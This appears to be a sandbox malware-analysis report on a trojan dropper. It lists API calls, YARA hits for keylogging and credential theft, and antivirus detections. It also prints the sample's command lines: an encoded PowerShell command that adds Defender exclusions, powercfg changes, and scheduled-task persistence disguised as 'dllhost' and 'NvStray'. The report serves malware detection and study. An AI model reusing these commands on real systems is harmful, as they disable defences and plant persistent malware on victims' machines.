NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f1d2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02717000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02715000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW Dec. 1, 2023, 1 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 9932873728 root_path: C:\Users\test22\AppData\Roaming\temp total_number_of_bytes: 0	1	1	0

Creates executable files on the filesystem (7 events)

file	C:\ProgramData\Dllhost\dllhost.exe
file	C:\Users\test22\AppData\Roaming\temp\main.bat
file	C:\Users\test22\AppData\Roaming\temp\7z.dll
file	C:\Users\test22\AppData\Roaming\temp\KillDuplicate.cmd
file	C:\Users\test22\AppData\Roaming\temp\7z.exe
file	C:\ProgramData\Dllhost\winlogson.exe
file	C:\Users\test22\AppData\Roaming\temp\extracted\Installer.exe

Creates hidden or system file (2 events)

Time & API	Arguments	Status	Return	Repeated
SetFileAttributesW Dec. 1, 2023, 1 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\Dllhost\ filepath: C:\ProgramData\Dllhost\	1	1	0
SetFileAttributesW Dec. 1, 2023, 1 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\HostData\ filepath: C:\ProgramData\HostData\	1	1	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Roaming\temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	powershell -EncodedCommand "PAAjAHcATwBmAEsAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AZgBCAEQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAWgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEgAdABLAEgAMABSAHYATQBXAFUAMQAjAD4A"
cmdline	"cmd.exe" /C powershell -EncodedCommand "PAAjAHcATwBmAEsAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AZgBCAEQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAWgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEgAdABLAEgAMABSAHYATQBXAFUAMQAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Roaming\temp\7z.exe
file	C:\Users\test22\AppData\Roaming\temp\Installer.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\temp\Installer.exe

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Dec. 1, 2023, 1 p.m.	show_type: 0 filepath_r: main.bat parameters: /S filepath: main.bat	1	1
CreateProcessInternalW Dec. 1, 2023, 1 p.m.	thread_identifier: 2756 thread_handle: 0x00000348 process_identifier: 2752 current_directory: C:\Users\test22\AppData\Roaming\temp filepath: track: 1 command_line: "cmd.exe" /C powershell -EncodedCommand "PAAjAHcATwBmAEsAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AZgBCAEQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAWgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEgAdABLAEgAMABSAHYATQBXAFUAMQAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000354	1	1
CreateProcessInternalW Dec. 1, 2023, 1 p.m.	thread_identifier: 2268 thread_handle: 0x00000790 process_identifier: 2272 current_directory: C:\Users\test22\AppData\Roaming\temp filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000794	1	1
CreateProcessInternalW Dec. 1, 2023, 1 p.m.	thread_identifier: 2316 thread_handle: 0x00000794 process_identifier: 2308 current_directory: C:\Users\test22\AppData\Roaming\temp filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6408" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000790	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Dec. 1, 2023, 1 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (17 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 12:52 p.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 1 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 1, 2023, 1 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (33 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	task schedule	rule	schtasks_Zero
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Following Rule is referenced from AlienVault's Yara rule repository.This rule contains additional processes and driver names.	rule	vmdetect_misc
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

Terminates another process (9 events)

Time & API	Arguments	Status
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2308 process_handle: 0x00000794
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2308 process_handle: 0x00000794	1
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2272 process_handle: 0x00000794
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2272 process_handle: 0x00000794	1
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2144 process_handle: 0x00000784
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2144 process_handle: 0x00000784	1
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 1532 process_handle: 0x00000784
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 1532 process_handle: 0x00000784	1
NtTerminateProcess Dec. 1, 2023, 1 p.m.	status_code: 0xffffffff process_identifier: 2580 process_handle: 0x000002c4

Uses Windows utilities for basic Windows functionality (5 events)

cmdline	main.bat /S
cmdline	attrib +H "Installer.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Connects to an IRC server, possibly part of a botnet

Communicates with host for which no DNS query was performed (1 event)

host

195.20.16.153

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Dec. 1, 2023, 1 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

Installer.exe tried to sleep 2728197 seconds, actually delayed analysis time by 2728197 seconds

Installs itself for autorun at Windows startup (3 events)

cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
Malwarebytes	Trojan.Dropper
ESET-NOD32	Win32/Packed.7Zip.AI
ClamAV	Win.Keylogger.Gencbl-9969771-0
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	FileRepMalware [Misc]
Ikarus	Trojan.Win32.7zip
Varist	W32/Dropper.EM.gen!Eldorado
Kingsoft	Win32.Troj.Undef.a
Microsoft	Trojan:Win32/Sabsik.TE.B!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Cynet	Malicious (score: 100)
AVG	FileRepMalware [Misc]
CrowdStrike	win/grayware_confidence_70% (D)

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2144 resumed a thread in remote process 2580
NtResumeThread Dec. 1, 2023, 12:52 p.m.	thread_handle: 0x0000000000000068 suspend_count: 0 process_identifier: 2580	1	0	0

conhost.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All